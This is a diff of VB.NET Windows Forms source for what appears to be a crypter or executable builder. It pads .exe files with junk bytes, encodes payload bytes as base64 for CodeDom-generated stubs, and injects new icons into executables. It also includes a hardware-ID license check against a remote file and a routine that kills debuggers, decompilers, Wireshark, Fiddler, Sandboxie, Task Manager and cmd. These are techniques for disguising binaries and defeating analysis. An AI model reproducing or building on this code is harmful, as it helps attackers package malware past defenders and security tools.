Private Sub TextBox6_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox6.TextChanged
|
||||
|
||||
End Sub
|
||||
|
||||
|
||||
Private Sub Label4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label4.Click
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub Label8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label8.Click
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub GroupBox1_Enter(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles GroupBox1.Enter
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
|
||||
OpenFileDialog1.DefaultExt = "exe"
|
||||
OpenFileDialog1.Filter = "exe files (*.exe)|*.exe"
|
||||
OpenFileDialog1.FilterIndex = 1
|
||||
If OpenFileDialog1.ShowDialog(Me) = DialogResult.OK Then
|
||||
TextBox7.Text = String.Empty
|
||||
TextBox7.Text = OpenFileDialog1.FileName
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
|
||||
If TextBox6.Text = "" Then
|
||||
MsgBox("Enter bytes to add")
|
||||
Else
|
||||
Dim file1 = File.OpenWrite(TextBox5.Text)
|
||||
Dim siza = file1.Seek(0, SeekOrigin.[End])
|
||||
Dim size = Convert.ToInt32(TextBox6.Text)
|
||||
Dim bite As Decimal = size * 1048576
|
||||
While siza < bite
|
||||
siza += 1
|
||||
file1.WriteByte(0)
|
||||
End While
|
||||
file1.Close()
|
||||
MessageBox.Show("Done !")
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub CheckBox5_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox5.CheckedChanged
|
||||
If CheckBox5.Checked = True Then
|
||||
TextBox7.Enabled = True
|
||||
TextBox8.Enabled = True
|
||||
Button5.Enabled = True
|
||||
Button6.Enabled = True
|
||||
Else
|
||||
TextBox7.Enabled = False
|
||||
TextBox8.Enabled = False
|
||||
Button5.Enabled = False
|
||||
Button6.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
End Class
|
||||
Public Class CD
|
||||
Public Shared Function format(ByVal input As Byte()) As String ' Codedom has maximum of possible chars per line so we are storing the string in multiple strings
|
||||
Dim out As New System.Text.StringBuilder ' Declaring a new StringBuilder to store the output string
|
||||
Dim base64data As String = Convert.ToBase64String(input) ' Get a readable String from the Byte Array
|
||||
Dim arr As String() = SplitString(base64data, 50000) ' Split the string into parts to fit in the Codedom-lines
|
||||
For i As Integer = 0 To arr.Length - 1 ' Looping thought each string in the array
|
||||
If i = arr.Length - 1 Then ' If i equals the highest number
|
||||
out.Append(Chr(34) & arr(i) & Chr(34))
|
||||
Else 'I is smaller than arr.Length - 1 (i < arr.Length - 1)
|
||||
out.Append(Chr(34) & arr(i) & Chr(34) & " + " & vbNewLine)
|
||||
End If
|
||||
Next
|
||||
Return out.ToString
|
||||
End Function
|
||||
Private Shared Function SplitString(ByVal input As String, ByVal partsize As Long) As String()
|
||||
Dim amount As Long = Math.Ceiling(input.Length / partsize) 'Get Long value of the amount of parts using the formular (Length of Input / Length of Parts)
|
||||
Dim out(amount - 1) As String 'Declaring the Array to Return using the amount of Parts to define the size
|
||||
Dim currentpos As Long = 0 ' Declaring the Currentposition in the String
|
||||
For I As Integer = 0 To amount - 1 ' Looping thought each string in the array
|
||||
If I = amount - 1 Then ' If i equals the highest number
|
||||
Dim temp((input.Length - currentpos) - 1) As Char ' Declaring a temporary Array of Chars for storing the current Part of the String
|
||||
input.CopyTo(currentpos, temp, 0, (input.Length - currentpos)) ' Current part is everything left from the string
|
||||
out(I) = Convert.ToString(temp) ' Current part is appended to the output string
|
||||
Else 'I is smaller than amount - 1 (i < amount - 1)
|
||||
Dim temp(partsize - 1) As Char ' Declaring a temporary Array of Chars for storing the current Part if the String using the Size of a part (partsize)
|
||||
input.CopyTo(currentpos, temp, 0, partsize) ' Copying the current Part to the temp array
|
||||
out(I) = Convert.ToString(temp) ' Current part is appended to the output string
|
||||
currentpos += partsize ' Currentposition is increase to catch the next part in the next "round" of the loop
|
||||
End If
|
||||
Next
|
||||
Return out ' Return the Output String
|
||||
End Function
|
||||
End Class
|
||||
+96
@@ -0,0 +1,96 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Form2
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Me.Label1 = New System.Windows.Forms.Label()
|
||||
Me.TextBox1 = New System.Windows.Forms.TextBox()
|
||||
Me.Label2 = New System.Windows.Forms.Label()
|
||||
Me.TextBox2 = New System.Windows.Forms.TextBox()
|
||||
Me.Button1 = New System.Windows.Forms.Button()
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Me.Label1.AutoSize = True
|
||||
Me.Label1.Location = New System.Drawing.Point(12, 9)
|
||||
Me.Label1.Name = "Label1"
|
||||
Me.Label1.Size = New System.Drawing.Size(58, 13)
|
||||
Me.Label1.TabIndex = 0
|
||||
Me.Label1.Text = "Username:"
|
||||
'
|
||||
'TextBox1
|
||||
'
|
||||
Me.TextBox1.Location = New System.Drawing.Point(76, 28)
|
||||
Me.TextBox1.Name = "TextBox1"
|
||||
Me.TextBox1.RightToLeft = System.Windows.Forms.RightToLeft.Yes
|
||||
Me.TextBox1.Size = New System.Drawing.Size(196, 20)
|
||||
Me.TextBox1.TabIndex = 1
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Me.Label2.AutoSize = True
|
||||
Me.Label2.Location = New System.Drawing.Point(31, 31)
|
||||
Me.Label2.Name = "Label2"
|
||||
Me.Label2.Size = New System.Drawing.Size(40, 13)
|
||||
Me.Label2.TabIndex = 2
|
||||
Me.Label2.Text = "HWID:"
|
||||
'
|
||||
'TextBox2
|
||||
'
|
||||
Me.TextBox2.Location = New System.Drawing.Point(76, 6)
|
||||
Me.TextBox2.Name = "TextBox2"
|
||||
Me.TextBox2.Size = New System.Drawing.Size(196, 20)
|
||||
Me.TextBox2.TabIndex = 3
|
||||
'
|
||||
'Button1
|
||||
'
|
||||
Me.Button1.Location = New System.Drawing.Point(76, 54)
|
||||
Me.Button1.Name = "Button1"
|
||||
Me.Button1.Size = New System.Drawing.Size(196, 23)
|
||||
Me.Button1.TabIndex = 4
|
||||
Me.Button1.Text = "Authenticate"
|
||||
Me.Button1.UseVisualStyleBackColor = True
|
||||
'
|
||||
'Form2
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.ClientSize = New System.Drawing.Size(284, 93)
|
||||
Me.Controls.Add(Me.Button1)
|
||||
Me.Controls.Add(Me.TextBox2)
|
||||
Me.Controls.Add(Me.Label2)
|
||||
Me.Controls.Add(Me.TextBox1)
|
||||
Me.Controls.Add(Me.Label1)
|
||||
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow
|
||||
Me.Name = "Form2"
|
||||
Me.Text = "HWID Lock"
|
||||
Me.ResumeLayout(False)
|
||||
Me.PerformLayout()
|
||||
|
||||
End Sub
|
||||
Friend WithEvents Label1 As System.Windows.Forms.Label
|
||||
Friend WithEvents TextBox1 As System.Windows.Forms.TextBox
|
||||
Friend WithEvents Label2 As System.Windows.Forms.Label
|
||||
Friend WithEvents TextBox2 As System.Windows.Forms.TextBox
|
||||
Friend WithEvents Button1 As System.Windows.Forms.Button
|
||||
End Class
|
||||
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@@ -0,0 +1,236 @@
|
||||
Imports System.Net
|
||||
Imports System.Management
|
||||
Imports System.Text
|
||||
Imports System.Security.Cryptography
|
||||
Public Class Form2
|
||||
|
||||
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
|
||||
If IsConnectionAvailable() = False Then
|
||||
MsgBox("Wrong username or server is down")
|
||||
Exit Sub
|
||||
End If
|
||||
Dim username As String
|
||||
username = TextBox2.Text
|
||||
Dim cpuInfo As String = String.Empty
|
||||
Dim mc As New ManagementClass("win32_processor")
|
||||
Dim moc As ManagementObjectCollection = mc.GetInstances()
|
||||
|
||||
For Each mo As ManagementObject In moc
|
||||
If cpuInfo = "" Then
|
||||
cpuInfo = mo.Properties("processorID").Value.ToString() + System.Environment.MachineName + My.Computer.Info.OSFullName + System.Environment.UserName + My.Computer.Info.OSFullName
|
||||
Exit For
|
||||
End If
|
||||
Next
|
||||
|
||||
Dim HWID As String
|
||||
|
||||
HWID = SimpleCrypt(cpuInfo)
|
||||
Dim wc As New WebClient
|
||||
Dim strings As String
|
||||
strings = wc.DownloadString("http://k0isk0.fileave.com/" + username + ".txt")
|
||||
wc.Dispose()
|
||||
|
||||
If strings.Contains(HWID) Then
|
||||
Form1.Show()
|
||||
Me.Close()
|
||||
Else
|
||||
MessageBox.Show("Error, HWID Does Not Match!", "Error!", MessageBoxButtons.OK, MessageBoxIcon.Error)
|
||||
Me.Close()
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Form2_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
||||
Dim cpuInfo As String = String.Empty
|
||||
Dim mc As New ManagementClass("win32_processor")
|
||||
Dim moc As ManagementObjectCollection = mc.GetInstances()
|
||||
|
||||
For Each mo As ManagementObject In moc
|
||||
If cpuInfo = "" Then
|
||||
cpuInfo = mo.Properties("processorID").Value.ToString() + System.Environment.MachineName + My.Computer.Info.OSFullName + System.Environment.UserName + My.Computer.Info.OSFullName
|
||||
Exit For
|
||||
End If
|
||||
Next
|
||||
|
||||
Dim HWID As String
|
||||
|
||||
HWID = SimpleCrypt(cpuInfo)
|
||||
|
||||
TextBox1.Text = HWID
|
||||
End Sub
|
||||
Public Function SimpleCrypt( _
|
||||
ByVal Text As String) As String
|
||||
' Encrypts/decrypts the passed string using
|
||||
' a simple ASCII value-swapping algorithm
|
||||
Dim strTempChar As String, i As Integer
|
||||
For i = 1 To Len(Text)
|
||||
If Asc(Mid$(Text, i, 1)) < 128 Then
|
||||
strTempChar = _
|
||||
CType(Asc(Mid$(Text, i, 1)) + 128, String)
|
||||
ElseIf Asc(Mid$(Text, i, 1)) > 128 Then
|
||||
strTempChar = _
|
||||
CType(Asc(Mid$(Text, i, 1)) - 128, String)
|
||||
End If
|
||||
Mid$(Text, i, 1) = _
|
||||
Chr(CType(strTempChar, Integer))
|
||||
Next i
|
||||
Return Text
|
||||
End Function
|
||||
Public Function IsConnectionAvailable() As Boolean
|
||||
Dim username As String
|
||||
username = TextBox2.Text
|
||||
Dim objUrl As New System.Uri("http://k0isk0.fileave.com/" + username + ".txt")
|
||||
|
||||
Dim objWebReq As System.Net.WebRequest
|
||||
|
||||
objWebReq = System.Net.WebRequest.Create(objUrl)
|
||||
|
||||
Dim objresp As System.Net.WebResponse
|
||||
|
||||
|
||||
|
||||
Try
|
||||
|
||||
objresp = objWebReq.GetResponse
|
||||
|
||||
objresp.Close()
|
||||
|
||||
objresp = Nothing
|
||||
|
||||
Return True
|
||||
|
||||
|
||||
|
||||
Catch ex As Exception
|
||||
|
||||
objresp = Nothing
|
||||
|
||||
objWebReq = Nothing
|
||||
|
||||
Return False
|
||||
|
||||
End Try
|
||||
|
||||
End Function
|
||||
Public Shared Sub Secure()
|
||||
Dim TargetProcess1() As Process = Process.GetProcessesByName("Fiddler")
|
||||
Dim TargetProcess2() As Process = Process.GetProcessesByName("SimpleAssemblyExplorer")
|
||||
Dim TargetProcess3() As Process = Process.GetProcessesByName("Reflector")
|
||||
Dim TargetProcess4() As Process = Process.GetProcessesByName("HxD")
|
||||
Dim TargetProcess5() As Process = Process.GetProcessesByName("OllyDbg")
|
||||
Dim TargetProcess6() As Process = Process.GetProcessesByName("TeamViewer")
|
||||
Dim TargetProcess7() As Process = Process.GetProcessesByName("WireShark")
|
||||
Dim TargetProcess8() As Process = Process.GetProcessesByName("SbieSvc")
|
||||
Dim TargetProcess9() As Process = Process.GetProcessesByName("taskmgr")
|
||||
Dim TargetProcess10() As Process = Process.GetProcessesByName("cmd")
|
||||
Dim TargetProcess11() As Process = Process.GetProcessesByName("cain")
|
||||
|
||||
Dim ProcessList As System.Diagnostics.Process()
|
||||
ProcessList = System.Diagnostics.Process.GetProcesses()
|
||||
Dim Proc As System.Diagnostics.Process
|
||||
Dim title As String
|
||||
For Each Proc In ProcessList
|
||||
title = Proc.MainWindowTitle
|
||||
If (String.Equals(title, "Fiddler")) Then
|
||||
Proc.Kill()
|
||||
End If
|
||||
Next
|
||||
|
||||
For Each Proc In ProcessList
|
||||
title = Proc.MainWindowTitle
|
||||
If (String.Equals(title, "SimpleAssemblyExplorer")) Then
|
||||
Proc.Kill()
|
||||
End If
|
||||
Next
|
||||
|
||||
For Each Proc In ProcessList
|
||||
title = Proc.MainWindowTitle
|
||||
If (String.Equals(title, "Red Gate's .NET Reflector")) Then
|
||||
Proc.Kill()
|
||||
End If
|
||||
Next
|
||||
|
||||
For Each Proc In ProcessList
|
||||
title = Proc.MainWindowTitle
|
||||
If (String.Equals(title, "HxD")) Then
|
||||
Proc.Kill()
|
||||
End If
|
||||
Next
|
||||
|
||||
For Each Proc In ProcessList
|
||||
title = Proc.MainWindowTitle
|
||||
If (String.Equals(title, "OllyDbg")) Then
|
||||
Proc.Kill()
|
||||
End If
|
||||
Next
|
||||
|
||||
For Each Proc In ProcessList
|
||||
title = Proc.MainWindowTitle
|
||||
If (String.Equals(title, "TeamViewer")) Then
|
||||
Proc.Kill()
|
||||
End If
|
||||
Next
|
||||
|
||||
For Each Proc In ProcessList
|
||||
title = Proc.MainWindowTitle
|
||||
If (String.Equals(title, "Wireshark")) Then
|
||||
Proc.Kill()
|
||||
End If
|
||||
Next
|
||||
|
||||
For Each Proc In ProcessList
|
||||
title = Proc.MainWindowTitle
|
||||
If (String.Equals(title, "Run Sandboxed")) Then
|
||||
Proc.Kill()
|
||||
End If
|
||||
Next
|
||||
For Each Proc In ProcessList
|
||||
title = Proc.MainWindowTitle
|
||||
If (String.Equals(title, "Windows Task Manager")) Then
|
||||
Proc.Kill()
|
||||
End If
|
||||
Next
|
||||
For Each Proc In ProcessList
|
||||
title = Proc.MainWindowTitle
|
||||
If (String.Equals(title, "C:\Windows\system32\cmd.exe")) Then
|
||||
Proc.Kill()
|
||||
End If
|
||||
Next
|
||||
If Not TargetProcess1.Length = 0 Then
|
||||
TargetProcess1(0).Kill()
|
||||
End If
|
||||
|
||||
If Not TargetProcess2.Length = 0 Then
|
||||
TargetProcess2(0).Kill()
|
||||
End If
|
||||
|
||||
If Not TargetProcess3.Length = 0 Then
|
||||
TargetProcess3(0).Kill()
|
||||
End If
|
||||
|
||||
If Not TargetProcess4.Length = 0 Then
|
||||
TargetProcess4(0).Kill()
|
||||
End If
|
||||
|
||||
If Not TargetProcess5.Length = 0 Then
|
||||
TargetProcess5(0).Kill()
|
||||
End If
|
||||
|
||||
If Not TargetProcess6.Length = 0 Then
|
||||
TargetProcess6(0).Kill()
|
||||
End If
|
||||
|
||||
If Not TargetProcess7.Length = 0 Then
|
||||
TargetProcess7(0).Kill()
|
||||
End If
|
||||
|
||||
If Not TargetProcess9.Length = 0 Then
|
||||
TargetProcess9(0).Kill()
|
||||
End If
|
||||
If Not TargetProcess10.Length = 0 Then
|
||||
TargetProcess10(0).Kill()
|
||||
End If
|
||||
If Not TargetProcess11.Length = 0 Then
|
||||
TargetProcess11(0).Kill()
|
||||
End If
|
||||
End Sub
|
||||
End Class
|
||||
@@ -0,0 +1,201 @@
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System.Security
|
||||
|
||||
Public Class IconInjector
|
||||
|
||||
' Basically, you can change icons with the UpdateResource api call.
|
||||
' When you make the call you say "I'm updating an icon", and you send the icon data.
|
||||
' The main problem is that ICO files store the icons in one set of structures, and exe/dll files store them in
|
||||
' another set of structures. So you have to translate between the two -- you can't just load the ICO file as
|
||||
' bytes and send them with the UpdateResource api call.
|
||||
|
||||
<SuppressUnmanagedCodeSecurity()> _
|
||||
Private Class NativeMethods
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function BeginUpdateResource( _
|
||||
ByVal fileName As String, _
|
||||
<MarshalAs(UnmanagedType.Bool)> ByVal deleteExistingResources As Boolean) As IntPtr
|
||||
End Function
|
||||
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function UpdateResource( _
|
||||
ByVal hUpdate As IntPtr, _
|
||||
ByVal type As IntPtr, _
|
||||
ByVal name As IntPtr, _
|
||||
ByVal language As Short, _
|
||||
<MarshalAs(UnmanagedType.LPArray, SizeParamIndex:=5)> _
|
||||
ByVal data() As Byte, _
|
||||
ByVal dataSize As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
|
||||
End Function
|
||||
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function EndUpdateResource( _
|
||||
ByVal hUpdate As IntPtr, _
|
||||
<MarshalAs(UnmanagedType.Bool)> ByVal discard As Boolean) As <MarshalAs(UnmanagedType.Bool)> Boolean
|
||||
End Function
|
||||
End Class
|
||||
|
||||
' The first structure in an ICO file lets us know how many images are in the file.
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure ICONDIR
|
||||
Public Reserved As UShort ' Reserved, must be 0
|
||||
Public Type As UShort ' Resource type, 1 for icons.
|
||||
Public Count As UShort ' How many images.
|
||||
' The native structure has an array of ICONDIRENTRYs as a final field.
|
||||
End Structure
|
||||
|
||||
' Each ICONDIRENTRY describes one icon stored in the ico file. The offset says where the icon image data
|
||||
' starts in the file. The other fields give the information required to turn that image data into a valid
|
||||
' bitmap.
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure ICONDIRENTRY
|
||||
Public Width As Byte ' Width, in pixels, of the image
|
||||
Public Height As Byte ' Height, in pixels, of the image
|
||||
Public ColorCount As Byte ' Number of colors in image (0 if >=8bpp)
|
||||
Public Reserved As Byte ' Reserved ( must be 0)
|
||||
Public Planes As UShort ' Color Planes
|
||||
Public BitCount As UShort ' Bits per pixel
|
||||
Public BytesInRes As Integer ' Length in bytes of the pixel data
|
||||
Public ImageOffset As Integer ' Offset in the file where the pixel data starts.
|
||||
End Structure
|
||||
|
||||
' Each image is stored in the file as an ICONIMAGE structure:
|
||||
'typdef struct
|
||||
'{
|
||||
' BITMAPINFOHEADER icHeader; // DIB header
|
||||
' RGBQUAD icColors[1]; // Color table
|
||||
' BYTE icXOR[1]; // DIB bits for XOR mask
|
||||
' BYTE icAND[1]; // DIB bits for AND mask
|
||||
'} ICONIMAGE, *LPICONIMAGE;
|
||||
|
||||
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure BITMAPINFOHEADER
|
||||
Public Size As UInteger
|
||||
Public Width As Integer
|
||||
Public Height As Integer
|
||||
Public Planes As UShort
|
||||
Public BitCount As UShort
|
||||
Public Compression As UInteger
|
||||
Public SizeImage As UInteger
|
||||
Public XPelsPerMeter As Integer
|
||||
Public YPelsPerMeter As Integer
|
||||
Public ClrUsed As UInteger
|
||||
Public ClrImportant As UInteger
|
||||
End Structure
|
||||
|
||||
' The icon in an exe/dll file is stored in a very similar structure:
|
||||
<StructLayout(LayoutKind.Sequential, Pack:=2)> _
|
||||
Private Structure GRPICONDIRENTRY
|
||||
Public Width As Byte
|
||||
Public Height As Byte
|
||||
Public ColorCount As Byte
|
||||
Public Reserved As Byte
|
||||
Public Planes As UShort
|
||||
Public BitCount As UShort
|
||||
Public BytesInRes As Integer
|
||||
Public ID As UShort
|
||||
End Structure
|
||||
|
||||
Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String)
|
||||
InjectIcon(exeFileName, iconFileName, 1, 1)
|
||||
End Sub
|
||||
|
||||
Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger)
|
||||
Const RT_ICON = 3UI
|
||||
Const RT_GROUP_ICON = 14UI
|
||||
Dim iconFile As IconFile = iconFile.FromFile(iconFileName)
|
||||
Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False)
|
||||
Dim data = iconFile.CreateIconGroupData(iconBaseID)
|
||||
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length)
|
||||
For i = 0 To iconFile.ImageCount - 1
|
||||
Dim image = iconFile.ImageData(i)
|
||||
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length)
|
||||
Next
|
||||
NativeMethods.EndUpdateResource(hUpdate, False)
|
||||
End Sub
|
||||
|
||||
Private Class IconFile
|
||||
|
||||
Private iconDir As New ICONDIR
|
||||
Private iconEntry() As ICONDIRENTRY
|
||||
Private iconImage()() As Byte
|
||||
|
||||
Public ReadOnly Property ImageCount As Integer
|
||||
Get
|
||||
Return iconDir.Count
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Public ReadOnly Property ImageData(ByVal index As Integer) As Byte()
|
||||
Get
|
||||
Return iconImage(index)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Private Sub New()
|
||||
End Sub
|
||||
|
||||
Public Shared Function FromFile(ByVal filename As String) As IconFile
|
||||
Dim instance As New IconFile
|
||||
' Read all the bytes from the file.
|
||||
Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename)
|
||||
' First struct is an ICONDIR
|
||||
' Pin the bytes from the file in memory so that we can read them.
|
||||
' If we didn't pin them then they could move around (e.g. when the
|
||||
' garbage collector compacts the heap)
|
||||
Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned)
|
||||
' Read the ICONDIR
|
||||
instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR)
|
||||
' which tells us how many images are in the ico file. For each image, there's a ICONDIRENTRY, and associated pixel data.
|
||||
instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {}
|
||||
instance.iconImage = New Byte(instance.iconDir.Count - 1)() {}
|
||||
' The first ICONDIRENTRY will be immediately after the ICONDIR, so the offset to it is the size of ICONDIR
|
||||
Dim offset = Marshal.SizeOf(instance.iconDir)
|
||||
' After reading an ICONDIRENTRY we step forward by the size of an ICONDIRENTRY
|
||||
Dim iconDirEntryType = GetType(ICONDIRENTRY)
|
||||
Dim size = Marshal.SizeOf(iconDirEntryType)
|
||||
For i = 0 To instance.iconDir.Count - 1
|
||||
' Grab the structure.
|
||||
Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY)
|
||||
instance.iconEntry(i) = entry
|
||||
' Grab the associated pixel data.
|
||||
instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {}
|
||||
Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes)
|
||||
offset += size
|
||||
Next
|
||||
pinnedBytes.Free()
|
||||
Return instance
|
||||
End Function
|
||||
|
||||
Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte()
|
||||
' This will store the memory version of the icon.
|
||||
Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount
|
||||
Dim data(sizeOfIconGroupData - 1) As Byte
|
||||
